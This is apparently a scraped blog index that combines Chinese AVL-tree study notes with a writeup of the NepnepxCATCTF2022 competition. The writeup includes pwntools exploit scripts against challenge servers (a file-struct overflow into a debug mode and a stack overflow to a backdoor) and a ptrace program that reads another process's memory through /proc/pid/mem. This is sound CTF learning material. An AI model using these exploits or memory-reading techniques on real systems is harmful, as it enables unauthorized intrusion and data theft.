T;}\n\n如果你也有这本书,并且已经看过这一部分关于avl的描述了,那么关于“什么是avl树”以及这些代码的作用至少是明白的,这里我主要是对书中所写的insert函数做些笔记。\n因为在树这一节中,很多地方都是通过递归来实现的,不得不承认这是一种非常巧妙的方法,但对于我这种小白来说,阅读和分析递归代码往往会转不过弯(其实更多时候是我懒得动笔,只在脑子里转了几十个循环,最后把自己绕懵了……)\n写在前面,书中的element我用int类型的info代替了,我觉得这样会更容易理解(虽然这样做其实也没什么意义就是了)。\n-——————————————————————————\nInsert过程分析:\n首先,这段函数的第一部分用来判断T节点是否存在。但我最开始还在奇怪,因为我们通常都是创建好了一颗空树,然后再进行插入节点的工作,而这里却要判断T节点是否为空。\n但可能是书上对这里的解释并不是那么清楚,这里我说一些自己的看法,如果有问题,欢迎指出。\n函数中的X代表的就是info,而T则应该输入我们要进行操作的树的根节点地址,毕竟我们也不清楚这个X应该放到树的什么地方。\n但值得注意的是,我们是在使用递归来实现这个功能,也就是说,在每一次递归循环中,T节点是不断改变的,它最终会找到我们要插入数据的实际位置,并在这个地方开辟出新的节点,这才是这段函数的作用。\n那么关键其实就在于寻址了。找到X应该放置的位置其实并不难,ADT树中也已经说过这种方法,但找到之后,却要按照AVL树的性质来存放数据。\n假设,我们通过函数递归,T参数已经来到了NULL的位置,于是这一次的递归中第一次开辟出了新节点。于是我们将新节点的地址返回到了上一次递归中(显然X=T->info,所以其他判断都不起作用了)。\n不妨假设我们上一次是向左树去找,大概就是下面这样(没用鼠标垫,所以漂移的有点厉害……):\n\n所以这一次,T节点实际上是指K1。\nT->left = insert(X, T->left);\n\n而我们刚执行完这条函数,接下来判断K1节点是否打破了平衡状态。\nif (Height(T->left) - Height(T->right) >= 2)//事实上等于2才是最合适的\n\n(之所以会有这道注释,其实只是我的喜好罢了。因为如果在创建和修改二叉树的时候都有这样的操作,那么左树和右树的高度差值根本不可能超过2,因为一旦达到2就会被重新平衡,但我还是想这样写…..)\n假设我们这一次没有打破这个平衡,那么最终我们将会返回K1的地址。\n注:这里有个巧妙的地方,\nT->height = max(Height(T->left), Height(T->right)) + 1;\n\n这段函数能够保证每一次插入节点的时候,都能为它获取高度。假设现在有一颗空树,我插入的第一个节点T1就获得了高度‘0’,而再次插入新节点T2的时候,T2的高度是‘0’,而这条代码获取了T2的高度又+1,变成了自己的高度,从而到达了高度‘1’。如果每个节点都通过这个函数来插入,那么深度自然就被设定好了。\n假设我们从上一次递归出来,回到了下图这个位置。本次递归中T代表了K3的地址。 \n\n现在,我们通过判断,发现K3打破了平衡状态,于是做了一个奇怪的判断:\nif (X < (T->left->info))\n\n函数在判断X是不是小于K1的关键值。\n如果判断为真,其实就说明K2会成为K1的左节点,那么就要进行左树单旋转操作。\n如果判断为假,说明K2是K1的右节点,那么就要进行左树的双旋转操作。\n(判断左树还是右树,其实是根据K1的位置判断。很简单,所以不再赘述)\n\n旋转结束之后,返回了K1的地址(这个地址怎么来的,写在左树单旋转函数里了,该函数返回新根)。\n假设这一次是平衡的,那么大概会长上图这样了。\n最后就是把剩下的还没走完的递归流程走完就行了,这个过程中通常不会再有什么操作了,因为如果你每一次放入节点都用这个函数来操作,基本上都能保证当前的树是一颗正常的树,放入的新节点最多只能影响到它的‘祖父母辈’的平衡状态,只要把‘祖父母辈’的平衡修正回来,通常整棵树都会平衡。\n(这个结论是我自己猜测的,如果有错误欢迎指出)\n删除函数Delete 先放一下代码:(请注意注释。关于旋转函数,分析insert时贴出过,仅供参考。如果在某个地方没有理解,请先继续往下看一会,或许能找到答案。如果发现代码和解释有问题,请务必指出。)\navltree deletenode(int X, avltree T){//X为删除目标的关键字值//info为关键字值position tmp;if (T == NULL)return NULL;else if (X < T->info){T->left=deletenode(X, T->left);if (Height(T->right)-Height(T->left) >= 2)//height函数用于返回节点所处的高度{tmp = T->right;if(Height(tmp->right)>Height(tmp->left))T = SingleRotateWithRight(T);//右树单旋转elseT = DoubleRotateWithRight(T);//右树双旋转 }}else if (X > T->info){T->right=deletenode(X, T->right);if (Height(T->left) - Height(T->right) >= 2){tmp = T->left;if (Height(tmp->left) > Height(tmp->right))T = SingleRotateWithLeft(T);//左树单旋转elseT = DoubleRotateWithLeft(T);//左树双旋转}}else{if (T->left == NULL && T->right == NULL)//若目标节点没有为叶子{delete T;return NULL;}else if (T->right == NULL)//若目标节点只有左子树{tmp = T->left;delete T;return tmp;}else if (T->left==NULL)//若目标节点只有右子树{tmp = T->right;delete T;return tmp;}else//若目标节点左右都有子树{if (Height(T->left) > Height(T->right)){tmp = findmax(T->left);//找出参数节点中最大的节点,返回地址T->info = tmp->info;T->left = deletenode(tmp->info,T->left);}else{tmp = findmin(T->right);//找出参数节点中最小的节点,返回地址T->info = tmp->info;T->right = deletenode(tmp->info, T->right);}}}T->height = max(Height(T->left), Height(T->right)) + 1;return T;}\n\n前提条件:假设现在面对的是一颗完整正确的AVL树,而我们需要对其进行删除节点的操作。\n主要思路是运用递归的方法来进行查找,向函数中输入目标节点的关键字以及根节点地址,进行查找。\n首先进入递归,函数通过这两条代码以及上面的 if条件语句 进行匹配关键字:\nT->left=deletenode(X, T->left);T->right=deletenode(X, T->right);\n\n当我们成功找到了这个关键字所在的节点,进入本次递归,此时T节点代表了目标节点。(方便区分起见,我将每个目标节点T称之为T1节点)\n于是进入了再往下的环节:判断该节点是否有子树。\n情景一:(无子树)\n假设该节点是叶,那么它既没有左子树也没有右子树,直接删除该节点,返回NULL值,回到了进入本次递归的函数位子,假设是这一段:\nT->right=deletenode(X, T->right);\n\n那么,T1节点的父节点成功的将本该指向T1的指针指向了NULL,实现了最基础的 ‘叶删除’ 操作。\n情景二/情景三:(一个子树)\n要么只有左子树,要么只有右子树,这是两个相近的情景,所以何在一起解释。\n在每一次的递归中,函数都会创建一个tmp指针用来储存可能必要的信息(你也可以对这个函数进行优化,毕竟不是每一轮递归都需要它,这或许能省下一部分空间)\n假设现在我们要删除的目标节点只有一个左子树:\n那么我们将tmp指向它左子树的第一个节点,并将这个地址返回,然后T1节点被删除。和情景一相同,它的父节点成功指向了返回值,也就是T1的左子树。\n然而需要注意的是,这是在AVL树中的实现。按照AVL树的性质,倘若一个节点没有右子树,那么它的左子树最多也只能有一个节点。所以每个节点对应的高度就有可能发生变化。\nT->height = max(Height(T->left), Height(T->right)) + 1;\n\n因为叶子仍然是叶子,高度仍然为 0 (假设叶子的高度均为0,当然,这只是假设罢了),于是通过返回的递归右重新测算了改变高度的节点的高度。\n至此,删除节点被实现了。\n情景四:(两个子树)\n最麻烦也最难理解的部分(只是相对而言罢了)。\nif (Height(T->left) > Height(T->right))\n\n他判断了一下目标节点左树和右树哪个比较高,这里不妨先假设一下左树比较高的情景吧。\n函数令tmp指向了左树中最大的那个节点,并将该节点的关键字赋予T1节点(实际上是将tmp复制给T1)。\n然后进入下一轮递归\nT->left = deletenode(tmp->info,T->left);\n\n注意:这一次,查找的目标关键字变成了左树中最大的那个。\n于是我们到达了第二个目标节点T2,并对它进行了删除(这是一个非常简单的删除方法,因为AVL性质规定了数值的大小,只要不停的向右走,走到没有右子树的时候,就能遇见这个最大值,所以这个T2节点一定没有右子树,情景和上面的一样)。\n而之所以要找左树中最大的值,是因为进行复制之后,并不会破坏AVL树在数值上的结构:节点左树中的所有值低于节点,右树中所有值高于节点。\n最后测算高度,完成了删除节点的工作。\n旋转判定:\n以上工作只是完成了 ‘ 删除节点 ’ 这一项,但事实上,删除节点之后,还必须面临打破平衡条件的可能性。\n回到每一轮递归的入口:(本轮T节点将被称为T3)\nT->left=deletenode(X, T->left);if (Height(T->right)-Height(T->left) >= 2)//height函数用于返回节点所处的高度{tmp = T->right;if(Height(tmp->right)>Height(tmp->left))T = SingleRotateWithRight(T);//右树单旋转elseT = DoubleRotateWithRight(T);//右树双旋转}\n\n当我们离开递归之后,必须进行判断是否打破了平衡条件(递归实现了高度的重新测算,这也是非常棒的地方) 。\n注:判断条件写了“右树-左树>2”,而并没有包括“左树-右树”的情况。原因是因为:这个路口是指向左树的,也就是说,我们将在左树中删除某个节点。二叉树本身应该保持平衡,倘若现在左树被删除节点,那么左树就不可能比右树要高,所以只需要判断这一种情况即可。在向右查找的过程中也是如此。\n假设现在平衡被打破了。也就是说,右树比左树高了 2(其实高度差不可能超过 2 ,但我习惯写成 “>=” 罢了)。\n那么该轮tmp将指向T3的右子树第一个节点,然后判断究竟是那一边打破了平衡(必然是比较高的那一边打破平衡)。\n假设是tmp的左树更高,那么就需要进行双旋转,如图:(最开始想要删除的节点已经被删除了,造成了如下的情况出现)\n\n注:\nT = DoubleRotateWithRight(T);//右树双旋转\n\n这些旋转函数都将返回旋转之后的新根。\n其他情况也是相同,判断是否旋转,并判断应该选择哪一种旋转。\n且在每一轮的递归里,都重新计算了高度。\n至此,整个函数完成了删除节点的全部流程。\n","categories":["Note","C++/数据结构"],"tags":["C++","数据结构"]},{"title":"NepnepxCATCTF2022 writeup by TokameinE","url":"/2023/01/02/catctf2022-writeup/","content":"闲言\n感觉大佬们都没来,让我混到第三名了。估计二进制大佬们全都是打 ASIS final 了,就我这个废物不配打QAQ\n题目感觉都不是很难,主要还是我比较菜,做题速度太慢了,以及第一天睡大觉晚了好久上线,不然可能可以多刷几个前三血,不过没奖励,前十血就能捐猫粮了,也就无所谓了。\nPWN这边内核直接不会,开始摆烂,其他几题看到后面已经完全摆烂了,就没继续看了。injection2.0 那道题本地的环境一直打不开,最后开了远程环境随便看了看感觉还行就搞了一下。\nRE的话 CatFly 没搞出来可惜了,算法没抄明白,有时间的话再试试看吧。\nMISC 纯摆烂了,做不明白,就拿 010 看了几个,能看出来的就做了,看不出来的就摆了。几个题目猜到可能是工具,但是懒得下了就不做了。还有几个从头到尾就没看懂要干什么,放弃。\n整个比赛打下来感觉没啥收获,感觉跟复健似的,等一波其他大佬的 WP 吧。密码一题也没做出来,有几个签到题还是想看看的,以及 CatFly 那题也想看看该怎么抄代码,其他的就随便看看吧。PWN 那边没啥体力继续看了,有心情了再看看吧。\nMISCCat_Jump010 直接查就完事了,属于是意料之外:\n\nMeowMeow图片尾巴有 base64 和一大堆数据,解出来 base64 说是 ASCII art,猜是二进制看的。本来要写脚本,但是 010 确实好用,直接看就完事了:\n\nCatchCat最开始没做出来,找了半天工具没找到,第二天随便搜了一下搜到在线工具了,放大了直接看就行了:\n\nNepnep 祝你新年快乐啦!\nCatFlag确实是 CatFlag:\n\nCryptocat’s gift 1 - 1/3 + 1/5 - 1/7 + … 的积分是 pi/4,所以礼物应该是 pi,但是试了半天没对,改成 pie 就对了,难崩……\nReverseStupidOrangeCat2一个 SM4,一个 RC5,找到密文直接解就行了。不过 RC5 没用到密钥,或者说用了默认密钥:\nSM4#include "chacha20.h"void four_uCh2uLong(u8* in, u32* out){ int i = 0; *out = 0; for (i = 0; i < 4; i++) *out = ((u32)in[i] << (24 - i * 8)) ^ *out;}void uLong2four_uCh(u32 in, u8* out){ int i = 0; //从32位unsigned long的高位开始取 for (i = 0; i < 4; i++) *(out + i) = (u32)(in >> (24 - i * 8));}u32 move(u32 data, int length){ u32 result = 0; result = (data << length) ^ (data >> (32 - length)); return result;}u32 func_key(u32 input){ int i = 0; u32 ulTmp = 0; u8 ucIndexList[4] = { 0 }; u8 ucSboxValueList[4] = { 0 }; uLong2four_uCh(input, ucIndexList); for (i = 0; i < 4; i++) { ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]]; } four_uCh2uLong(ucSboxValueList, &ulTmp); ulTmp = ulTmp ^ move(ulTmp, 13) ^ move(ulTmp, 23); return ulTmp;}u32 func_data(u32 input){ int i = 0; u32 ulTmp = 0; u8 ucIndexList[4] = { 0 }; u8 ucSboxValueList[4] = { 0 }; uLong2four_uCh(input, ucIndexList); for (i = 0; i < 4; i++) { ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]]; } four_uCh2uLong(ucSboxValueList, &ulTmp); ulTmp = ulTmp ^ move(ulTmp, 2) ^ move(ulTmp, 10) ^ move(ulTmp, 18) ^ move(ulTmp, 24); return ulTmp;}void encode_fun(u8 len, u8* key, u8* input, u8* output){ int i = 0, j = 0; u8* p = (u8*)malloc(50); //定义一个50字节缓存区 u32 ulKeyTmpList[4] = { 0 }; //存储密钥的u32数据 u32 ulKeyList[36] = { 0 }; //用于密钥扩展算法与系统参数FK运算后的结果存储 u32 ulDataList[36] = { 0 }; //用于存放加密数据 four_uCh2uLong(key, &(ulKeyTmpList[0])); four_uCh2uLong(key + 4, &(ulKeyTmpList[1])); four_uCh2uLong(key + 8, &(ulKeyTmpList[2])); four_uCh2uLong(key + 12, &(ulKeyTmpList[3])); ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0]; ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1]; ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2]; ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3]; for (i = 0; i < 32; i++) //32次循环迭代运算 { ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]); } for (i = 0; i < len; i++) //将输入数据存放在p缓存区 *(p + i) = *(input + i); for (i = 0; i < 16 - len % 16; i++)//将不足16位补0凑齐16的整数倍 *(p + len + i) = 0; for (j = 0; j < len / 16 + ((len % 16) ? 1 : 0); j++) { four_uCh2uLong(p + 16 * j, &(ulDataList[0])); four_uCh2uLong(p + 16 * j + 4, &(ulDataList[1])); four_uCh2uLong(p + 16 * j + 8, &(ulDataList[2])); four_uCh2uLong(p + 16 * j + 12, &(ulDataList[3])); for (i = 0; i < 32; i++) { ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[i + 4]); } uLong2four_uCh(ulDataList[35], output + 16 * j); uLong2four_uCh(ulDataList[34], output + 16 * j + 4); uLong2four_uCh(ulDataList[33], output + 16 * j + 8); uLong2four_uCh(ulDataList[32], output + 16 * j + 12); } free(p);}void decode_fun(u8 len, u8* key, u8* input, u8* output){ int i = 0, j = 0; u32 ulKeyTmpList[4] = { 0 };//存储密钥的u32数据 u32 ulKeyList[36] = { 0 }; //用于密钥扩展算法与系统参数FK运算后的结果存储 u32 ulDataList[36] = { 0 }; //用于存放加密数据 four_uCh2uLong(key, &(ulKeyTmpList[0])); four_uCh2uLong(key + 4, &(ulKeyTmpList[1])); four_uCh2uLong(key + 8, &(ulKeyTmpList[2])); four_uCh2uLong(key + 12, &(ulKeyTmpList[3])); ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0]; ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1]; ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2]; ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3]; for (i = 0; i < 32; i++) { ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]); } for (j = 0; j < len / 16; j++) { four_uCh2uLong(input + 16 * j, &(ulDataList[0])); four_uCh2uLong(input + 16 * j + 4, &(ulDataList[1])); four_uCh2uLong(input + 16 * j + 8, &(ulDataList[2])); four_uCh2uLong(input + 16 * j + 12, &(ulDataList[3])); for (i = 0; i < 32; i++) { ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[35 - i]); } uLong2four_uCh(ulDataList[35], output + 16 * j); uLong2four_uCh(ulDataList[34], output + 16 * j + 4); uLong2four_uCh(ulDataList[33], output + 16 * j + 8); uLong2four_uCh(ulDataList[32], output + 16 * j + 12); }}void print_hex(u8* data, int len){ int i = 0; char alTmp[16] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' }; for (i = 0; i < len; i++) { printf("%c", alTmp[data[i] / 16]); printf("%c", alTmp[data[i] % 16]); putchar(' '); } putchar('\\n');}int main(void){ unsigned char a91tNhn90uTlt1l[] = { 0x5B, 0x40, 0x39, 0x31, 0x54, 0x25, 0x4E, 0x68, 0x6E, 0x7B, 0x39, 0x30, 0x55, 0x40, 0x74, 0x6C, 0x54, 0x25, 0x31, 0x6C, 0x54, 0x24, 0x64, 0x70, 0x68, 0x50, 0x68, 0x66, 0x69, 0x40, 0x39, 0x31, 0x4F, 0x00 }; for (int i = 0; i < 33; i += 4) { a91tNhn90uTlt1l[i] ^= 0xC; a91tNhn90uTlt1l[i + 1] ^= 0x17; }//You_can_take_me_with_you //CAT_IN_X_19_Y_39 //_CATLOVE_OR_LIKE // LIKE_OR_LOVE_CAT //EKIL_RO_EVOLTAC_ //CatCTF{You_can_take_me_with_you_CAT_IN_X_19_Y_39_} //CAT_IN_X_19_Y_39_LIKE_OR_LOVE_CAT u8 i, len; u8 encode_Result[50] = { 0 }; //定义加密输出缓存区 u8 decode_Result[50] = { 0 }; //定义解密输出缓存区 unsigned char key[] = "wuwuwuyoucatchme"; u8 Data_plain[16] = { 0xB6,0x75,0xE1,0x79,0x70,0xC1,0x27,0x48,9,0xB,0xB6,0x4D,2,0xBC,6,0x19 }; len = 16 * (sizeof(Data_plain) / 16) + 16 * ((sizeof(Data_plain) % 16) ? 1 : 0); decode_fun(len, key, Data_plain, decode_Result); printf("解密后数据是:\\n"); for (i = 0; i < len; i++) printf("%x ", *(decode_Result + i)); system("pause"); return 0;}\n\nRC5#include <stdlib.h> #include <stdio.h> #include <string.h> #include <math.h> int w = 32;//字长 32bit 4字节 int r = 12;//12;//加密轮数12 int b = 16;//主密钥(字节为单位8bit)个数 这里有16个int t = 26;//2*r+2=12*2+2=26 int c = 4; //主密钥个数*8/w = 16*8/32 typedef unsigned long int FOURBYTEINT;//四字节 typedef unsigned short int TWOBYTEINT;//2字节 typedef unsigned char BYTE;void InitialKey(unsigned char* KeyK, int b);void generateChildKey(unsigned char* KeyK, FOURBYTEINT* ChildKeyS);void Encipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S);void Decipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S);void InitialKey(unsigned char* KeyK, int b){ int i, j; int intiSeed = 3; for (i = 0; i < b; i++) { KeyK[i] = 0; } KeyK[0] = intiSeed; printf("初始主密钥(16字节共128位):%.2lx ", KeyK[0]); for (j = 1; j < b; j++) { KeyK[j] = (BYTE)((int)pow(3, j) % (255 - j)); printf("%.2X ", KeyK[j]); } printf("\\n");}void generateChildKey(unsigned char* KeyK, FOURBYTEINT* ChildKeyS){ int PW = 0xB7E15163;//0xb7e1; int QW = 0x9E3779B9;//0x9e37;//genggai int i; int u = w / 8;// b/8; FOURBYTEINT A, B, X, Y; FOURBYTEINT L[4]; //c=16*8/32 A = B = X = Y = 0; ChildKeyS[0] = PW; printf("\\n初始子密钥(没有主密钥的参与):\\n%.8X ", ChildKeyS[0]); for (i = 1; i < t; i++) //t=26 { if (i % 13 == 0)printf("\\n"); ChildKeyS[i] = (ChildKeyS[i - 1] + QW); printf("%.8X ", ChildKeyS[i]); } printf("\\n"); for (i = 0; i < c; i++) { L[i] = 0; } for (i = b - 1; i != -1; i--) { L[i / u] = (L[i / u] << 8) + KeyK[i]; } printf("\\n把主密钥变换为4字节单位:\\n"); for (i = 0; i < c; i++) { printf("%.8X ", L[i]); } printf("\\n\\n"); for (i = 0; i < 3 * t; i++) { X = ChildKeyS[A] = ROTL(ChildKeyS[A] + X + Y, 3); A = (A + 1) % t; Y = L[B] = ROTL(L[B] + X + Y, (X + Y)); B = (B + 1) % c; } printf("生成的子密钥(初始主密钥参与和初始子密钥也参与):"); for (i = 0; i < t; i++) { if (i % 13 == 0)printf("\\n"); printf("%.8X ", ChildKeyS[i]); } printf("\\n\\n");}void Encipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S){ FOURBYTEINT X, Y; int i, j; for (j = 0; j < NoOfData; j += 2) { X = In[j] + S[0]; Y = In[j + 1] + S[1]; for (i = 1; i <= r; i++) { X = ROTL((X ^ Y), Y) + S[2 * i]; Y = ROTL((Y ^ X), X) + S[2 * i + 1]; } Out[j] = X; Out[j + 1] = Y; //密文 }}void Decipher(FOURBYTEINT* In, FOURBYTEINT* Out, FOURBYTEINT* S){ int i = 0, j; FOURBYTEINT X, Y; for (j = 0; j < NoOfData; j += 2) { X = In[j]; Y = In[j + 1]; for (i = r; i > 0; i--) { Y = ROTR(Y - S[2 * i + 1], X) ^ X; X = ROTR(X - S[2 * i], Y) ^ Y; } Out[j] = X - S[0]; Out[j + 1] = Y - S[1]; }}int main(void){ int k; FOURBYTEINT ChildKeyS[2 * 12 + 2]; FOURBYTEINT ChildKey1[26]; BYTE KeyK[16]; FOURBYTEINT Source[] = { 0x936AB12C,0xED8330B5,0xEE5C5E88,0xE10B508C }; FOURBYTEINT Dest[NoOfData]; FOURBYTEINT Data[NoOfData] = { 0 }; InitialKey(KeyK, b); generateChildKey(KeyK, ChildKeyS); printf("加密以前的明文:"); for (k = 0; k < NoOfData; k++) { if (k % 2 == 0) { printf(" "); } printf("%.8X ", Source[k]); } printf("\\n"); for (k = 0; k < 26; k++) { ChildKey1[k] = ChildKeyS[k]; } Decipher(Source, Data, ChildKey1); //解密 printf("解密以后的明文:"); char* flag = (char*)Data; for (int k = 0; k < 16; k++) { printf("%c", flag[k]); }}\n\n就是发现还有一串 base64 微改之后的加密,似乎是调试的时候才会出现,不过没发现有什么用,白解了半天,呜呜。\nReadingSectionllvm ir 写的,直接安装 llvm 的组件后把 ir 编译成 .o 文件就可以拿 IDA 读了。\n打开一看发现是 TEA,另外还有一个异或:\n\n#include <stdio.h> #include <stdint.h> void decrypt(uint32_t * v, uint32_t * k) { uint32_t v0 = v[0], v1 = v[1], sum = 0xCA7C7F00*28, i; /* set up */ uint32_t delta = 0xCA7C7F00; /* a key schedule constant */ uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */ for (i = 0; i < 28; i++) { /* basic cycle start */ v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3); v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1); sum -= delta; } /* end cycle */ v[0] = v0; v[1] = v1;}int main(){ unsigned char _L__const__Z5checkv_rightcat[] = { 0xAA, 0x7D, 0x07, 0x7D, 0xB1, 0xF7, 0x80, 0x71, 0xDA, 0xAF, 0x23, 0xE5, 0x10, 0x07, 0x58, 0x57, 0x1E, 0xF7, 0x7D, 0x71, 0xE6, 0x78, 0x74, 0x56, 0x9B, 0xC0, 0x53, 0x11, 0xF3, 0x39, 0x31, 0x2E }; uint32_t k[] = { 0x18BC8A17 ,0x29D3CE1E ,0x42F740E3 ,0x199C7F4A }; decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat)), k); decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat))+2, k); decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat))+4, k); decrypt(((uint32_t*)(_L__const__Z5checkv_rightcat))+6, k); for (int i = 30; i >= 0; i--) { _L__const__Z5checkv_rightcat[i] ^= _L__const__Z5checkv_rightcat[i + 1]; } printf("%s", _L__const__Z5checkv_rightcat);}\n\nThe cat did it没啥头绪,纯考猜。看他问概率多少,直接猜了 0%,然后就对了,反正我自己也没搞明白。\nPWNvmbyhrpDEBUG 模式里有一个 charge_file 可以从外面读文件:\n\n因此关键就是进入 DEBUG 模式了。发现需要 users 和 users+4 都为 0 才能进,转而发现创建文件的函数:\n__int64 __fastcall create_file(__int64 a1){ __int64 result; // rax int v2; // ebx result = check_repeat(a1); if ( result ) { *(&unk_204130 + 4 * file_count) = global_fd; *(&unk_204128 + 4 * file_count) = a1; *(&HF + 4 * file_count) = 1000LL; v2 = file_count; *(&unk_204138 + 4 * v2) = malloc(0x1000uLL); printf("FILE CONTENT: "); read(0, *(&unk_204138 + 4 * file_count), 0x1000uLL); deleEnter(*(&unk_204138 + 4 * file_count)); ++file_count; result = ++global_fd; } return result;}\n\n没有检查数量,因此可以创建很多文件去把结构体溢出到 user。\n然后注意到 HRP_OPEN 可以用输入去覆盖相应偏移处的值:\nunsigned __int64 __fastcall HRP_OPEN(int a1, int a2){ int i; // [rsp+1Ch] [rbp-24h] char v4[24]; // [rsp+20h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); for ( i = 0; i < file_count; ++i ) { if ( a1 == *(&unk_204130 + 4 * i) ) { *(&HF + 4 * i) = a2;//<------这里可以覆盖 return __readfsqword(0x28u) ^ v5; } } clearScreen(); puts("NOT FOUND,PLEASE NEW FILE"); printf("%s", "FILE NAME: "); __isoc99_scanf("%16s[^\\n ]", v4); getchar(); deleEnter(v4); create_file(v4); return __readfsqword(0x28u) ^ v5;}\n\n所以思路就是创建很多文件,然后用汇编去覆盖 users 变量,最后进 DEBUG 模式把文件读进来,然后用 cat 拿出来:\nfrom pwn import *#p=process("./HRPVM")p=remote("223.112.5.156",60024)#gdb.attach(p,"b*$rebase(0x2DFF)\\nb*$rebase(0x2950)\\nb*$rebase(0x25B2)")p.recvuntil("NAME:")name="HRPHRP"password="PWNME"p.sendline(name)p.recvuntil("PASSWORD:")p.sendline(password)p.recvuntil("[+]HOLDER:")p.sendline("aaaaaaaaaaaaaaaa")def send_res(payload): p.recvuntil("HRP-MACHINE$ ") p.sendline(payload)def send_res2(payload): p.recvuntil("[DEBUGING]root#") p.sendline(payload)payload="file"for i in range(30): send_res("file") p.recvuntil("FILE NAME: ") p.sendline("a"+str(i)) p.recvuntil("FILE CONTENT: ") p.sendline("mov rdi,36;mov rsi,1001;call open,2;")send_res("file")p.recvuntil("FILE NAME: ")p.sendline("a30")p.recvuntil("FILE CONTENT: ")p.sendline("mov rdi,35;mov rsi,0;call open,2;")send_res("file")p.recvuntil("FILE NAME: ")p.sendline("a31")p.recvuntil("FILE CONTENT: ")p.sendline("mov rdi,35;mov rsi,0;call open,2;")send_res("./a30")send_res("DEBUG")send_res2("file input")p.recvuntil("FILE NAME:")p.sendline("flag")send_res2("mmap")p.recvuntil("EXPEND:")p.sendline(str(0x400000))send_res2("exit")send_res("reboot")p.recvuntil("NAME:")p.sendline(name)p.recvuntil("PASSWORD:")p.sendline(password)p.recvuntil("[+]HOLDER:")p.sendline(p64(0x400000))send_res("./a0")send_res("cat flag")p.interactive()\n\n不过有一个小问题,当我把 flag 读进来之后用 exit 返回用户模式时,直接 cat 会引发崩溃。根据崩溃报告发现,似乎会正好引用 HOLDER 处的内存。因此 DEBUG 下还得调用 mmap 开辟一下空间,然后 reboot 设置 HOLDER 为开辟出来的可以读写的内存,这样才不会崩溃。\nbitcoin栈溢出,有后门,直接跳过去就是了,没啥好说的:\nfrom pwn import *#p=process("./pwn")p=remote("223.112.5.156",57023)#gdb.attach(p,"set follow-fork-mode parent\\nb*0x40223B")p.recvuntil("CTF!")p.sendline("\\n")p.recvuntil("Name: ")p.sendline("aaa")p.recvuntil("Password: ")payload=b"a"*(64)+p64(0x06092C0+0x420)+p64(0x404EA4)p.sendline(payload)p.interactive()\n\ninjection2.0whoami 一看是 root,搜了一下似乎用 ptrace 能直接去读取其他进程的内存,于是就把整个栈全都读出来就可以了:\n#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>#include <sys/types.h>#include <sys/ptrace.h>#include <sys/wait.h>#include <errno.h>int main(int argc, char *argv[]){ off_t start_addr; pid_t pid; char s1[]="131"; start_addr=0x7ffc08baf000; pid = atoi(s1); printf("%lx\\n",start_addr); int ptrace_ret; ptrace_ret = ptrace(PTRACE_ATTACH, pid, NULL, NULL); if (ptrace_ret == -1) { fprintf(stderr, "ptrace attach failed.\\n"); perror("ptrace"); return -1; } if (waitpid(pid, NULL, 0) == -1) { fprintf(stderr, "waitpid failed.\\n"); perror("waitpid"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } int fd; char path[256] = {0}; sprintf(path, "/proc/%d/mem", pid); fd = open(path, O_RDWR); if (fd == -1) { fprintf(stderr, "open file failed.\\n"); perror("open"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } off_t off; off = lseek(fd, start_addr, SEEK_SET); if (off == (off_t)-1) { fprintf(stderr, "lseek failed.\\n"); perror("lseek"); ptrace(PTRACE_DETACH, pid, NULL, NULL); close(fd); return -1; } else{ printf("lseek sucess\\n"); } unsigned char *buf = (unsigned char *)malloc(0x21000); int rd_sz; while(rd_sz=read(fd,buf,0x21000)){ if(rd_sz<10){ perror("read"); break; } printf("%lx\\n",rd_sz); for(int i=0;i<0x21000;i++){ printf("%c",buf[i]); } printf("\\n"); ptrace(PTRACE_DETACH, pid, NULL, NULL); free(buf); close(fd); return 0; }}\n\n不过直接读出来的东西似乎显示的很不完全,我一度以为自己的方法不行,最后直接把内容 base64 后拉到本地再解回去看了,然后就发现还是有的:\n\n\nwelcome_CAT_CTF这题我是直接拿 gdb 搞定的,没写 exp。题目给了服务端和客户端,然后分数是储存在客户端的,所以直接用 gdb 改内存设成大数,然后直接改寄存器跳转执行后门函数就可以了(忘记截图了)\nWEBez_js访问一下那个 game.js 就发现里面写了 flag 的路径,然后直接过去就行了:\n\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"Chaconne","url":"/2021/07/12/chaconne/","content":" 